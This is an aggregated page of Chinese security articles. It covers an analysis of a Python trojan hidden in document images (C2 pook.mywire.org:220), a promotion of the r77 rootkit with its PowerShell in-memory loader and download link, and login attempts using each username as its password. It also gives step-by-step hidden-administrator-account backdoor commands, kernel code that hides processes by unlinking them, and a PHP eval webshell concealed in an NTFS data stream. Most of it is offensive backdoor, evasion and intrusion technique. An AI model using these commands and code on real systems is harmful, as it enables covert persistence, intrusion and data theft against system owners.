3‑3文档内容通过提取文档中的宏代码分析,主要有两个触发操作的函数“Document_Open()”和“Document_Close()”,同时该宏代码存在大量混淆,具体是将“rqxjx”、“RXQYE”、“_RXQYE_20210329_092748_rqxjx_”字符大量嵌入到自定义变量和函数中,能够在一定程度上规避反病毒软件和干扰分析工作。图 3‑4自动执行的相关函数图 3‑5混淆的宏代码解混淆后,从Document_Open()函数中可以看到其中定义了一些文件路径变量,通过MyFunc23函数解密相关路径,依据这些变量创建相应目录和文件,同时提取恶意文档中利用隐写术保存于图片中的远控木马相关文件。图 3‑6 Document_Open函数内容表3‑2变量信息图 3‑7 Python编写的远控相关文件Document_Close函数功能为以隐藏方式运行远控木马启动脚本,脚本文件即为“C:UsersMAAppDataRoamingnettools48”目录下的runner.bat文件。该脚本文件初始设置了一定时间的延迟,而后运行当前文件夹下的远控木马脚本“vabsheche.py”。图 3‑8运行远控木马启动脚本脚本内容如下:远控木马脚本内容主要分为三部分:3.4 释放的远控木马分析第一部分定义了多个系统判断函数,包括Windows、Linux和Mac OS X,同时读取C2地址配置文件,获取对应域名和端口。从系统判断函数上看,虽然本次发现的脚本中只调用了Windows系统判断函数,且后续内容只能在Windows系统上执行,但是不排除攻击者后期会开发针对Linux和Mac OS X系统的脚本。图 3‑9远控脚本第一部分内容第二部分定义一个task_registration函数,主要功能为将启动脚本runner.bat的路径写入vbs脚本中,实现vbs脚本调用运行远控,而vbs的调用,是通过调用schtasks命令创建计划任务,实现每三十分钟运行一次vbs脚本。最后以Windows系统判断函数运行结果来触发task_registration函数。图 3‑10远控脚本第二部分内容最后一部分功能是C2命令处理过程,具体如下:通过同目录下的证书文件“cert.pem”结合前期获取的域名和端口,同C2建立连接,获取C2返回信息。图 3‑11连接C2代码在整体代码上添加了循环和容错处理,如果连接成功,则解析C2返回的信息,依据特定数据,执行不同的指令操作;连接失败,则延迟120秒,继续尝试连接C2,持续运行此过程。远控木马C2地址:pook.mywire.org 端口:220。表3‑3远控木马指令表4、总结由于该远控木马是用Python编写,对应文件具备脚本文件特性,其实质文件格式为文本文件,相较于PE文件,这种文件格式在一定程度上能够降低被反病毒软件查杀的可能性,同时结合远控木马VT检测结果,安天CERT认为这种脚本形式的远控木马将会更加频繁的被攻击者使用,甚至结合混淆编码进行使用。转载请注明来源:关键基础设施安全应急响应中心 本文始发于微信公众号(关键基础设施安全应急响应中心):原创 | 将Python远控隐藏在文档图片中的行动分析
阅读全文
r77-Rootkit:一款功能强大的Ring 3 Rootkit 安全工具

r77-Rootkit:一款功能强大的Ring 3 Rootkit

关于r77-Rootkitr77-Rootkit是一款功能强大的无文件Ring 3 Rootkit,并且带有完整的安全工具和持久化机制,可以实现进程、文件和网络连接等操作及任务的隐藏。r77能够在所有进程中隐藏下列实体:文件、目录、连接、命名管道、计划任务;进程;CPU用量;注册表键&值;服务;TCP&UDP连接;该工具兼容32位和64位版本的Windows 7以及Windows 10。通过前缀隐藏所有以“$77”为前缀命名的实体都将被隐藏:配置系统动态配置系统允许广大研究人员通过PID或抿成来隐藏进程,通过完整路径来隐藏文件系统,或通过指定端口隐藏TCP&UDP连接:配置信息存储在“HKEY_LOCAL_MACHINESOFTWARE$77config”中,并且可以在未提权状态下由任何进程写入。这个键的DACL被设置为可以给任意用户授予完整访问权。“$77config”键在注册表编辑器被注入了Rootkit之后会自动隐藏。安装工具r77可以直接使用单独的“Install.exe”进行安装,安装工具会将r77服务在用户登录之前开启,后台进程会向所有当前正在运行以及后续生成的进程中注入命令。这里需要使用两个进程来分别注入32位和64位进程,这两个进程都可以使用配置系统和PID来进行隐藏。“Uninstall.exe”程序负责将r77从系统中卸载掉,并解除Rootkit跟所有进程的绑定关系。无文件持久化Rootkit将驻留在系统内存中,不会将任何文件写入磁,这种机制是分多个阶段实现的。阶段一安装程序为32位和64位r77服务创建两个计划任务。计划任务确实需要存储名为$77svc32.job和$77svc64.job的文件,这是无文件概念的唯一例外。但是,一旦Rootkit运行,计划任务也会通过前缀隐藏。计划任务将使用下列命令开启“powershell.exe”:::Load(::LocalMachine.OpenSubkey('SOFTWARE').GetValue('$77stager')).EntryPoint.Invoke($Null,$Null)该命令是内联的,不需要.ps1脚本。这里,使用PowerShell的.NET Framework功能从注册表加载C#可执行文件并在内存中执行。由于命令行的最大长度为260(MAX_PATH),因此只有足够的空间执行简单的Assembly.Load().EntryPoint.Invoke()。阶段二执行的C#代码为stager,它将会使用Process Hollowing技术创建r77服务进程。r77服务是一个本地可执行文件,分别以32位和64位架构继续宁编译。父进程被设置为了winlogon.exe以增加欺骗性(模糊性)。另外,这两个进程被ID隐藏,在任务管理器中不可见。磁盘上从未存储可执行文件或DLL。stager存储在注册表中,并从其资源加载r77服务可执行文件。测试环境测试控制台可以用来向单独进程注入r77,或接触进程跟Rootkit的绑定关系:工具下载r77 Rootkit 1.2.0.zip:【https://bytecode77.com/downloads/r77Rootkit%201.2.0.zip】(解压密码:bytecode77)项目地址r77-Rootkit:【https://github.com/bytecode77/r77-rootkit】参考资料https://bytecode77.com/downloads/r77%20Rootkit%20Technical%20Documentation.pdfhttps://bytecode77.com/r77-rootkitEND 本文始发于微信公众号(网络侦查研究院):r77-Rootkit:一款功能强大的Ring 3 Rootkit
阅读全文
通过JS发现隐藏未授权接口-惨案发生 安全文章

通过JS发现隐藏未授权接口-惨案发生

前言本文封面引用自:http://90sheji.com/sucai/14462861.html本文主要的核心内容在于:善于发现隐藏的接口(通过JS)JavaScript发现接口PS:这是一个后台系统,我个人也发现过很多类似的问题,所以各位在测系统类业务的时候可以着重的去了解一下。查看页面源代码发现引用了一处JS文件:跟进查看JS文件内容发现有两个接口:未授权接口测试发现第二个接口有一个未授权的问题,通过该链接可以获取系统所有的用户名(这里也可以利用Fuzz的思路去Fuzz其他的接口,该接口是UserSelector.aspx,根据手中掌握的一些字典和这个首字母大写的命名规则可以Fuzz)未授权搭配获得了已用的用户名,根据多年的帅气直觉,用用户名当作密码去撞裤。直觉往往有时候很准,果然撞出一个用用户名作为密码的安全意识薄弱用户(安全部门去调教一下此人,根据用户名目测还是个妹子)后台的薄弱往往这种类型的网站只要进去后台了那么就是一堆漏洞:1.SQL注入漏洞2.越权获取订单信息3.XSS、CSRF、其他类越权等等。。。总结测试要细心,挖洞要心细。 本文始发于微信公众号(米斯特安全团队):通过JS发现隐藏未授权接口-惨案发生
阅读全文
Windows系统账户隐藏技巧 安全文章

Windows系统账户隐藏技巧

0x001 系统账户隐藏渗透一台主机后,一般都想办法给自己留后门,其中使用最多的就是账户隐藏技术。账户隐藏技术可谓是最隐蔽的后门,一般用户很难发现系统中隐藏账户的存在,因此危害性很大,本文就对隐藏账户这种黑客常用的技术进行复现。0x002 新建特殊账户通过 net user 命令创建隐藏账号,并将其加入 administrators 组net user test$ 123456 /addnet localgroup administrators test$ /add注:创建的用户名必须以 $ 符号结尾添加后,该帐户可在一定条件下隐藏,输入net user无法获取信息但是,在登录界面以及本地用户和组中却能够发现该帐户0x003 赋予注册表权限使用 WIN+R 键,输入regedit 打开注册表,展开注册表 默认情况下 SAM 这个项里没有任何内容,这是因为用户对它没有权限。在这个项的右键菜单里,为 administrator 用户赋予完全控制权限。然后重新启动注册表,即可看到如下效果0x004 导出注册表在  项里显示了当前系统存在的所有账户,选中 test$ ,在其右侧有一个(默认)选项,类型为 0x3eb 的键值。其中的 3eb 就是 test$ 账户 SID 的结尾,即 RID(这里使用十六进制表示)。另外,在  里还有一个以 3eb 结尾的子项。这两个项里都是存放了用户 test$ 的信息。在这两个项上单击右键,执行 导出 命令,将这两个项的值分别导出成扩展名为 .reg 的注册表文件。0x005 删除特殊账户然后将 test$ 账户删除net user test$ /del再次重启注册表,此时上述两个项都没了0x006 导入 reg 文件下面再通过命令行将刚才导出的两个注册表 .reg 文件进行重新导入regedit /s test.regregedit /s test1.reg此时在注册表里就有了 test$ 账户信息隐藏账户制做完成,控制面板不存在帐户 test$通过 net user 无法列出该帐户通关 WIN+R 键,输入lusrmgr.msc 打开本地用户和组,查看用户,也无法列出该帐户但可通过如下方式查看,这种方式的前提是必须已经清楚隐藏账户的名字,所以一般是管理员是不会发现的使用这个隐藏账户可以登录系统,但缺点是仍然会产生用户配置文件,下面再对这个账户做进一步处理,以使之完全隐藏。0x007 隐藏用户配置文件展开  注册表项中,找到 administrator 用户的 RID 值 1f4,展开对应的 000001F4 项,其右侧有一个名为 F 的键值,这个键值就存放了用户的 SID 。下面将这个键值的数据全部复制,并粘贴到 000003EB 项的 F 键值中,也就是将 administrator 用户的 SID 赋给了 test$这样在操作系统内部,实际上就把 test$ 当做是 administrator,test$ 成了 administrator 的影子账户,与其使用同一个用户配置文件,test$ 也就彻底被隐藏了。0x008 删除隐藏用户使用普通的账户删除命令是无法删除隐藏账户的,提示用户不属于此组只能将删除注册表 下对应帐户的键值(共有两处),也就是刚刚创建 test$ 所产生的那两个注册表文件删除完这两个注册表项后,即可完全清除隐藏账户 test$0x009 防御隐藏用户打开注册表的  项,检查该项下的  是否有可疑账户默认管理员权限无法查看注册表,需要分配权限或是提升至 Sytem 权限隐藏帐户的登录记录,可通过查看日志获取参考文章https://www.cnblogs.com/wjvzbr/p/7906855.html来源: Luckysec作者: Luckysec链接:本文章著作权归作者所有,任何形式的转载都请注明出处。推荐阅读觉得不错点个“赞”、“在看”,支持下小编 本文始发于微信公众号(乌雲安全):Windows系统账户隐藏技巧
阅读全文
Windows内核驱动~进程隐藏实现 逆向工程

Windows内核驱动~进程隐藏实现

前言    在Windows的内核中,存在一个双向链表AcvtivePeorecssList保存着进程的EPROCESS结构,通过断链的操作来实现进程隐藏。1.功能分析实现    通过Windbg查看到了AcvtivePeorecssList和进程ID的位置。    那么代码如何实现呢?继续看我这个灵魂画手画的图,既然是一个双向链表。我们的第二个节点的下一个要指向第四个,第四个的上一个要指向第二个。        2.代码实现    这里通过一个循环来遍历,当ID等于我们传入的进程ID,我们就进行断链操作。记住这里的pEprocess + 0xb4是获取的进程ID的地址,要用*取地址的值才可以。//断链操作pblink->Blink->Flink = pblink->Flink;pblink->Flink->Blink = pblink->Blink;NTSTATUS HidenProcess(ULONG PID){ ULONG ID = 0; DWORD_PTR pEprocess = (DWORD_PTR)PsGetCurrentProcess(); PLIST_ENTRY palink = (PLIST_ENTRY)(pEprocess + 0xb8); PLIST_ENTRY pblink = palink->Flink; while (pblink->Flink != palink->Flink){ pEprocess = ((DWORD_PTR)pblink - 0xb8); ID = *((ULONG*)(pEprocess + 0xb4)); if (ID == PID){ pblink->Blink->Flink = pblink->Flink; pblink->Flink->Blink = pblink->Blink; DbgPrint("进程成功隐藏n"); } pblink = pblink->Flink; } return STATUS_SUCCESS;}3.代码改进    如果单单用上方这种的话,每次用的话,就需要在驱动文件内传入我们要隐藏的进程ID,为了方便,这里改用了I/O通信,通过三环的exe输入进程ID,之后将进程ID发送到驱动文件并实施隐藏效果。    三环代码#include <stdio.h>#include <windows.h>#include <stdlib.h>#include <winioctl.h>#define IO_READ_Control CTL_CODE(FILE_DEVICE_UNKNOWN, 0x999, METHOD_BUFFERED, FILE_SPECIAL_ACCESS)int main(int argc, char* argv){ HANDLE h = CreateFile(L"\\.\meta", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); ULONG inlen = 0; printf("请输入要隐藏的进程ID:n"); scanf("%d",&inlen); ULONG pro = 0; if (DeviceIoControl(h, IO_READ_Control, &inlen, sizeof(inlen), &inlen, sizeof(inlen), &pro,...
阅读全文
Win下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell 安全文章

Win下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell

这个其实是NTFS惹的祸。NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等等。0x01 Mysql创建目录当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的libplugin。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。   0x02 隐藏webshell在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:echo ^<?php @eval(request)?^>  > index.php:a.jpg这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:a.jpg’)?>,这样子就可以正常解析我们的一句话了。其他ads的利用各位可以参考互联网。 本文始发于微信公众号(T00ls):Win下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell
阅读全文